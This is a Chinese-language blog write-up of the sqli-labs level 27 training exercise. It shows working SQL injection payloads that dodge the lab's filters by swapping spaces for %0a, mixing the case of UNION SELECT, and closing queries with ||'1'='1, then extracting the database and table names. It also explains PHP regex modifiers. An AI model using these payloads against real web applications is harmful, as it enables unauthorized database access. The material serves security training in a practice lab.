• sqli-labs(27)


    0X01

    先查询闭合

    ?id=1' 报错 
    ?id=1'' 正确

    知道是’的闭合语句

    0X02那么开始我们的注入之旅

    空格过滤了 尝试一下%0a绕过  #也被过滤了 那么用and '1'='1构造闭合

    ?id=1'||'1'='1

    显示正确 

    我们来爆一下数据名称  哦豁 union select 被过滤了

    /?id=1'%0Aunion%0Aselect%0A1,database(),3||'1'='1

    那我们绕过看看行吗? double

    ?id=1'%0Auniunionon%0Aseselectlect%0A1,database(),3||'1'='1

    不得行不得行 那我们怎么绕过呀? 可以偷偷看看源码

     正则表达式

    PHP语法

    正则表达式

    PHP正则表达式的模式修饰符(官方文档)
    PHP正则中的i,m,s,x,e

    • i
      如果设定了此修正符,模式中的字符将同时匹配大小写字母。
    • m
      如果设定了此修正符,行起始和行结束除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。
    • s
      如果设定了此修正符,模式中的圆点元字符.匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。
    • x
      如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#以及下一个换行符之间的所有字符,包括两头,也都被忽略。
    • e
      如果设定了此修正符,preg_replace()在替换字符串中对逆向引用作正常的替换。
    • ?
      ./+/*之后表示非贪婪匹配,./+/*限定符都是贪婪的,它们会尽可能多的匹配文字,在它们的后面加上一个?就可以实现非贪婪或最小匹配。
    那么我们继续构造
    爆数据库 这里 正则过滤了-号所以不能用-1
    ?id=999'%0AUNion%0ASElEct%0A1,database(),3||'1'='1

    0X02爆表名

    ?id=999'%0AUNion%0ASElEct%0A1,(SELEct%0Atable_name%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Alimit%0A0,1),3||'1'='1

    这里剩下的操作就是一套组合拳了

    那么 我们进行一下总结吧

    1 这里空格%0a代替 不知道26a和26关为什么不行

    2这里正则表达式是只要你含有 就会一直匹配 双写不能绕过

    3当-1不能用的时候 随便用一个错误的值把显示的位置让出来 给你要的数据

    4 学习之路 少就是多 慢就是快

    加油

  • 相关阅读:
    (转)如何最佳地使用memcached?
    win7 安装 memcached
    (转)怎么把主机的文件复制到虚拟机上
    memcache和redis本质区别在哪里?
    关于memcached
    (转)memcached注意事项
    (转)Memcached深度分析
    《项目架构那点儿事》——快速构建Junit用例
    《项目架构那点儿事》——工具类,你喜欢你就拿去
    《项目架构那点儿事》——Hibernate泛型Dao,让持久层简洁起来
  • 原文地址:https://www.cnblogs.com/-zhong/p/10941074.html
Copyright © 2020-2023  润新知